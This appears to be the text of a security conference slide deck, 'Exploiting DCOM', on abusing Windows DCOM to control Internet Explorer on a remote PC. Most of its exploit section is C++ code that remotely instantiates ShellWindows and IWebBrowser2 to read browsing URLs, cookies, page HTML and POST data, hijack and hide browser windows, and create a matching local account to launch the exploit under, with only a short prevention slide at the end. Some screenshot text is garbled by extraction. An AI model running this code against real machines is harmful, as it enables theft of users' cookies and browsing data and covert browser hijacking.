# **Exploiting DCOM**

Yoshiaki Komoriya

Soap@securityfriday.com

#### Hidenobu Seki

Urity@securityfriday.com



# Agenda

- COM and DCOM technology
- IE exploit demonstration
- Exploit code
- Authentication
- MS-Word exploit demonstration
- DCOM exploit prevention



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# **Distributed COM**

 Application-level protocol for objectoriented remote procedure call.
 For constructing applications on distributed computing environment.
 DCOM is a seamless evolution of COM according to Microsoft.



# COM technology

Components oriented programming model of Microsoft.

Can develop reusable programs by using COM.









#### **DCOM** runtime

Installed by default

 Windows XP, 2k, (98, Me)

 Not installed by default

 Windows NT

 But installed with other apps (ex. IE)



#### DCOMCNFG.exe

DCOM Configuration Tool
 View installed DCOM-enable applications list.



#### List of DCOM-enabled apps

Applicat Defrag Event ( HTML) Image I Interne Logical Logical Media Microso Microso Microso	FAT engine FAT engine Diject Change Application Document t Explorer(Ver 1.0) nt Disk Manager Administrative Service Disk Manager Remote Client Player SatalogDB OLE DB Provider oft Agent Server 2.0 oft Clip Organizer oft Excel Application oft Graph Application oft PowerPoint Presentation oft WBEM Active Scripting Event Consumer Provider	DCOM-en apps	ableo
Microso Microso <u>P</u> ro	oft WBEM Server oft WBEM Unsecured Apartment operties		



#### Windows Built-in DCOM Apps

Internet Explorer
 Windows media player
 Windows Scripting Host
 Sound recorder
 WordPad

and more ...



#### **Other Applications**







and more ...



#### **COM** components on Windows

# Windows has many COM components. Registered under "\HKEY\_CLASSES\_ROOT\CLSID" on the registry.



#### **COM components in Registry**

🕂 💼 clpfile		Name	Туре	Data		
🖨 🧰 CLSID		(Default)	REG_SZ	{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}		
⊕		ab Version	REG SZ	1.1		
⊕	_		····			
⊕ 💼 {00000101-0000-0010-8000-00AA006D2EA4}						
⊞ 💼 {00000103-0000-0010-8000-00AA006D2EA4}						
⊞ 📄 {00000104-0000-0010-8000-00AA006D2EA4}						
⊕						
⊞ 💼 {00000106-0000-0010-8000-00AA006D2EA4}						
⊕ · 📄 {00000107-0000-0010-8000-00AA006D2EA4}						
⊕ ⊕ {00000108-0000-0010-8000-00AA006D2EA4}						
⊕ ⊕ {00000109-0000-0010-8000-00AA006D2EA4}						
⊞ · 🛄 {00000300-0000-0000-C000-000000000046}						
⊞ · 📄 {00000303-0000-0000-C000-00000000046}						
⊕						
H						
H = {0000031D-0000-0000-0000000000046}						
H = {00000320-0000-0000-0000-00000000046}						
H = {00000508-0000-0010-8000-00AA006D2EA4}						
H = {00000514-0000-0010-8000-00AA006D2EA4}						
[] [] {00000542-0000-0010-8000-00AA006D2EA4} [] [] [] (00000560-0000-0010-8000-00AA006D2EA4]						
[] [] [] [] [] [] [] [] [] [] [] [] [] [						
⊕ [00000602-0000-0010-8000-00AA006D2EA4]						
[] [] [] (00000815-0000-0010-8000-00AA008D2EA4}						
		L				
My Computer\HKEY_CLASSES_ROOT\Interface\{85CB6900-4D95-1:	CF-960C-0	080C7F4EE85}\Type	Lib		/ii	



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# **Demonstration environment** ◆Local PC Windows 2k Professional Remote PC Windows 2k Professional ( Default )



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# Exploit code





# Exploit code





#### Stealing IE's data

Browsing URL lists ♦Incoming data Cookies HTML contents Navigation events Get parameters Post Parameters



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#### **Browsing URL list**



- Get "IDispatch" intarfaces from "IShellWindows" interface.
  - Get "IWebBrowser2" interfaces from IDispatch interface.



Get browsing URL strings from IWebBrowser2.



# **Activate ShellWindows**

// Initialize COM runtime
 HRESULT hret = CoInitialize(NULL);

// Create COSERVERINFO structure contain remote PC IP COSERVERINFO ServerInfo; ServerInfo.dwReserved1 = 0; ServerInfo.dwReserved2 = 0; ServerInfo.pwszName = L"RemotePC"; ServerInfo.pAuthInfo = NULL;

// Get a "IShellWindows" interface from remote PC MULTI\_QI qi = {&IID\_IShellWindows, NULL, 0}; hret = CoCreateInstanceEx(CLSID\_ShellWindows, NULL, CLSCTX\_SERVER, &ServerInfo, 1,

&qi);

IShellWindows \*windows = (IShellWindows\*)qi.pItf;



#### Get IDispatch

// Get num of IE window by using IShellWindows
long nCount;
hret = windows->get\_Count(&nCount);

for(long i = 0; i < nCount; ++i){

// Get IDispatch interfaces from IShellWindows
IDispatch \*disp = NULL;
VARIANT va; VariantInit(&va);
V\_VT(&va) = VT\_I4; V\_I4(&va) = i;
hret = windows->Item(va,&disp);
VariantClear(&va);



#### Get IWebBrowser2



# Get browsing URL strings





#### Stealing IE's data

Browsing URL list Incoming data Cookie HTML Contents Navigation events Get parameters Post Parameters



#### **Incoming data**

#### cookie

- Get "IHTMLDocument2" interface from IWebBrowser2.
- Call "get\_cookie" method of IHTMLDocument2.

#### HTML

- Get "IHTMLElement" interface from IHTMLDocument2.
- Call "get\_outerHTML" method of IHTMLElement.



#### Get cookie

#### }

// Call get\_cookie method of IHTMLDocument2
if(theIHD != NULL){
 BSTR cookie;
 hret = doc->get\_cookie(&cookie);
 }



# Get HTML

// Get IHTMLElement from IHTMLDocument2
 IHTMLElement \*element = NULL;
 hret = doc->get\_body(&element);

```
// Call get_outerHTML of IHTMLElement
if(element != NULL){
  BSTR html;
  hret = element->get_outerHTML(&html);
```



#### Stealing IE's data

Browsing URL list ♦Incoming data Cookie HTML Contents Navigation events Get parameters Post Parameters



#### Navigation events





#### Navigation events

Create event handler implementing "DWebBrowserEvents" interface.



Get "IConnectionPoint" interface through IWebBrowser2.



Advise IE where the event handler is by using IConnectionPoint.



#### Members of DWebBrowserEvents

BeforeNavigateCommandStateChangeDownloadBeginDownloadCompleteNavigateCompleteNewWindowOnQuitProgressChangePropertyChangeStatusTextChangeTitleChangeWindowResize



### BeforeNavigate

void BeforeNavigate( IDispatch\* pDisp, VARIANT\* &url, // the new URL to be navigate to VARIANT\* & Flag, VARIANT\* & TargetFrameName, VARIANT\* & PostData, // the POST data to send to the new URL VARIANT\* & Headers, VARIANT\_BOOL\* &Cancel );



#### **Get IConnectionPoint**

```
IConnectionPointContainer* container;
hret = browse->QueryInterface(
                     IID_IConnectionPointContainer,
                            (void**)&container);
IConnectionPoint* point;
hret = container->FindConnectionPoint(
                     IID_DWebBrowserEvents,
                     &point);
```



#### Advise IE

Sink \*sink = new Sink;

```
DWORD dwCookie;
```

```
hret = point->Advise(sink->GetIDispatch(false),
&dwCookie);
```



# Hijacking IE

Change browsing pages
 Make IE windows invisible

Create new windows



#### Change browsing pages

BSTR newURL; newURL = SysAllocString(L"http://www.yahoo.co.jp"); hret = browser->Navigate(newURL);



# Make IE windows invisible

browser->put\_Visible((VARIANT\_BOOL)false);



#### Create new windows

COSERVERINFO ServerInfo2; ServerInfo.dwReserved1 = 0; ServerInfo.dwReserved2 = 0; ServerInfo.pwszName = L"RemotePC"; ServerInfo.pAuthInfo = NULL;

MULTI\_QI qi2 = {&IID\_IWebBrowser2, NULL, 0}; hret = CoCreateInstanceEx( CLSID\_InternetExplorer, NULL, CLSCTX\_SERVER, &ServerInfo, 1, &qi); IWebBrowser2 \*browser2 = (IWebBrowser2\*)qi2.pItf;



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#### Authentication

Component activation procedures
 Two steps of authentication
 Event handling & Authentication
 Exploit code
 Special case: XP



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#### Component activation procedure



- Remote PC sends NTLMSSP\_CHALLENGE to local PC.
- Local PC sends NTLMSSP\_RESPONSE to remote PC.
  - Local PC sends request component's CLSID to remote PC.

Remote PC checks two steps of authentication, then call back results.



#### Authentication

Component activation procedure
 Two steps of authentication
 Event handling & Authentication
 Exploit code
 Special case: XP



#### Two steps of authentication









# **DCOM** authentication

- Launch / Access control list Control launch / access permission
- "RunAs" parameter
   Account used to launch / access to components





#### Default setting of DCOM authentication

#### Launch / Access control list

- SYSTEM, Administrators, INTERACTIVE
- RunAs
  - The launching user



#### Authentication

Component activation procedure
 Two steps of authentication
 Event handling & Authentication
 Exploit code
 Special case: XP



#### Event handling model





#### **Reverse authentication**





#### Authentication

Component activation procedure
 Two steps of authentication
 Event handling & Authentication
 Exploit code
 Special case: XP



#### Exploit code

Set an account on local PC.

Create client process with new account's security context.



#### 1. Set account on local PC

// Create USER\_INFO\_1 structure USER\_INFO\_1 ui; ui.usri1\_name = "USERNAME"; ui.usri1\_password = "PASSWORD"; ui.usri1\_priv = USER\_PRIV\_USER; ui.usri1\_home\_dir = NULL; ui.usri1\_comment = NULL; ui.usri1\_flags = UF\_SCRIPT; ui.usri1\_script\_path = NULL;

// Add new user to system
NetUserAdd(NULL, 1, (LPBYTE)&ui, NULL);



#### 2. Create client process

PROCESS\_INFORMATION process;

STARTUPINFOW startup; startup.dwFlags = STARTF\_USESHOWWINDOW; startup.wShowWindow = SW\_SHOWNORMAL;

CreateProcessWithLogonW("USERNAME", NULL, "PASSWORD", LOGON\_NETCREDENTIALS\_ONLY, NULL, "EXPLOIT.exe", 0, NULL, "CURRENTDIR", &startup, &process);



# Special case: XP



- New security model.
- Cannot exploit with XP default setting.







# Use classic security model

1

Security Settings	Policy T	Security Setting
Account Policies	Bulletwork security Force legoff when legen bours evoke	
📴 Local Policies	Network security: Porce logon when logon hours expire	Disabled
<ul> <li>Audit Policy</li> <li>User Rights Assignment</li> </ul>	Network access: Sharing and security model for local accounts	Guest only - local users authenticate as Guest
	Network access: Shares that can be accessed anonymously	COMCFG.DF5\$
E G Security Options	Network access: Remotely accessible registry paths	System\CurrentControlSet\Control\ProductOpt
Public Key Policies	🕮 Network access: Named Pipes that can be accessed anonym	
IP Security Policies on Loca	BNetwork access: Let Everyone permissions apply to anonym	Network access: Sharing and security model for local \mid 🛛 🔀
	BNetwork access: Do not allow storage of credentials or .NET	
	Network access: Do not allow anonymous enumeration of SA	Local Security Setting
	Network access: Do not allow anonymous enumeration of SA	
	Network access: Allow anonymous SID/Name translation	Retwork access: Sharing and security model for local accounts
	Microsoft network server: Disconnect clients when logon hou	
	Microsoft network server: Digitally sign communications (in ci	
	Microsoft petwork server: Amount of idle time required befo	
	Microsoft network client: Send unencrypted password to thi	
	Microsoft network client: Digitally sign communications (if ser	
	Bill Microsoft network client: Digitally sign communications (alwa	Guest only - local users authenticate as Guest
	B Interactive logon: Smart card removal behavior	Classic - local users authenticate as themselves
	🕮 Interactive logon: Require Domain Controller authentication	Guest only - local users authenticate as Guest
	💐 Interactive logon: Prompt user to change password before a	
	Interactive logon: Number of previous logons to cache (in ca	
	Interactive logon: Message title for users attempting to log	
	Interactive logon: Message text for users attempting to log	
	Interactive logon: Do not require CTRL+ALT+DEL	
	Bio Domain member: Require strong (Windows 2000 or later) se	OK Cancel Apply
	Domain member: Maximum machine account password age	JU U0YS
	128	



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#### **Demonstration environment**





#### Windows 2k Professional



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# **DCOM** exploit prevention





Use a strong password.



- FAQ
  - Q: IE'en doesn't work well on domain environment.
  - A: Latest version of IE'en works.
  - Q: Why is the alert message displayed when "Contents" box is clicked?
  - A: The system sometimes goes down. I think get\_outerHTML method has a memory leak.
  - Q: Connection fails with "Class not registered" message.
  - A: Check the user name and password.



# Reference



#### DCOM Technical Overview

http://msdn.microsoft.com/library/enus/dndcom/html/msdn\_dcomtec.asp

#### WebBrowser Control

http://msdn.microsoft.com/workshop/browser/webbrowser/refli st\_cpp.asp

#### ShellWindows Object

http://msdn.microsoft.com/library/default.asp?url=/library/enus/shellcc/platform/shell/reference/objects/shellwindows/shellwi ndows.asp

#### and others.